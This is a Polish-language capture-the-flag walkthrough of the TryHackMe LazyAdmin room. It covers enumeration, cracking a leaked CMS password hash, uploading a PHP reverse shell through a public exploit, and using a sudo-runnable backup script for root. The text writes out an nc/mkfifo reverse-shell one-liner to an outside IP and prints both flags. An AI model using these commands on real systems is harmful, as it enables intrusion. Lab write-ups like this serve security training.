Link do room’u: https://tryhackme.com/r/room/lazyadmin
Rozpocznę sobie całość skanem z nmapa, a w tle puszczę gobustera
nmap -oN nmap.txt -Pn -T4 -sC -sV -p- 10.10.19.199
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
gobuster dir -o gobuster.txt -u 10.10.19.199 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 277]
/.htaccess (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/content (Status: 301) [Size: 314] [--> http://10.10.19.199/content/]
/index.html (Status: 200) [Size: 11321]
/server-status (Status: 403) [Size: 277]
Wchodząc na adres serwera, pokazuje się domyślna strona po instalacji apache - więc tutaj nic nie znajdziemy
Ale przez gobustera zauważyłem, że mamy coś w /content/
Wygląda to interesująco, jakiś CMS który można dalej przeskanować gobusterem
gobuster dir -o gobuster2.txt -u http://10.10.19.199/content/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/.hta (Status: 403) [Size: 277]
/_themes (Status: 301) [Size: 322] [--> http://10.10.19.199/content/_themes/]
/as (Status: 301) [Size: 317] [--> http://10.10.19.199/content/as/]
/attachment (Status: 301) [Size: 325] [--> http://10.10.19.199/content/attachment/]
/images (Status: 301) [Size: 321] [--> http://10.10.19.199/content/images/]
/inc (Status: 301) [Size: 318] [--> http://10.10.19.199/content/inc/]
/index.php (Status: 200) [Size: 2198]
/js (Status: 301) [Size: 317] [--> http://10.10.19.199/content/js/]
Po chwili przeglądania tego wszystkiego, zauważyłem, że:
/content/as
prowadzi do interfejsu logowania do tego cmsa/content/inc
zawiera jakieś ciekawe pliczki
No i bingo, patrząc na /content/inc
znalazłem ciekawy folder o nazwie mysql_backup
który zawiera bazę danych. Pobieram sobie ją, bo może zawierać coś ciekawego
Otworzyłem sobie ten pliczek, i znalazłem użytkownika o
- nazwie:
manager
- haśle:
42f749ade7f9e195bf475f37a44cafcb
zdecryptowałem ten hash wklejając go na crackstation i wyszło na to, że hasło to Password123
Spróbuję się tym zalogować na ssh
Permission denied, please try again.
no i nie weszło ;/
W takim razie wejdę na directory /as
które znalazłem wcześniej
Po wpisaniu loginu i hasła managera, udało się mi dostać na CMS
Przy okazji znalazłem coś, co może być interesujące do uzyskania reverse shella
Po szybkim wygooglowaniu tego, na exploitdb znalazłem ciekawy exploit umożliwiający wgranie mi reverse shella https://www.exploit-db.com/exploits/40716
Pierw przygotowałem sobie plik do zuploadowania zmieniając port, ip i nazwę na shell.php5
(bo nie chciało się zuploadować po .php
): https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
W kolejnym oknie terminala od razu włączyłem nasłuchiwanie netcatem
Wracając do poprzedniego okienka terminala, zrobiłem:
chmod +x exploit.py
python exploit.py
Wszedłem w ten link, no i super, otrzymałem dostęp do shella
Od razu zrobiłem python --version
i gdy potwierdziłem sobie istnienie pythona na serwerze, zespawnowałem sobie shella
python -c 'import pty;pty.spawn("/bin/bash")'
Zrobiłem też cat /etc/passwd
żeby sprawdzić, czy nie ma jakichś ciekawych użytkowników
Od razu rzucił mi się w oko itguy
, sprawdziłem jego home dir, i znalazłem flagę usera
THM{63e5bce9271952aad1113b6f1ac28a07}
Po zdobyciu flagi od razu zacząłem szukać możliwości eskalacji uprawnień z www-data
do czegoś ciekawszego. Zacząłem od komendy sudo -l
, która pokazała mi coś, co mnie zainteresowało
User www-data may run the following commands on THM-Chal:
(ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl
Robiąc cat /home/itguy/backup.pl
zauważyłem, że ten plik pointuje do innego pliku -> /etc/copy.sh
cat /home/itguy/backup.pl
#!/usr/bin/perl
system("sh", "/etc/copy.sh");
Sprawdziłem sobie też ten pliczek
cat /etc/copy.sh
No i wygląda na to, że zawiera on reverse shella, który pomoże nam uzyskać shell roota
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.190 5554 >/tmp/f
Lekko pozwoliłem sobie go zmodyfikować zmieniając ip, odpaliłem też nowe okienko w terminalu i włączyłem nasłuchiwanie
wróciłem do okienka z reverse shellem i uruchomiłem skrypt backup.pl
przez sudo
sudo /usr/bin/perl /home/itguy/backup.pl
Wróciłem do okienka z nasłuchiwaniem
No i sukces, teraz tylko cd /root
i pozyskanie flagi roota poprzez cat root.txt
THM{6637f41d0177b6f37cb20d775124699f}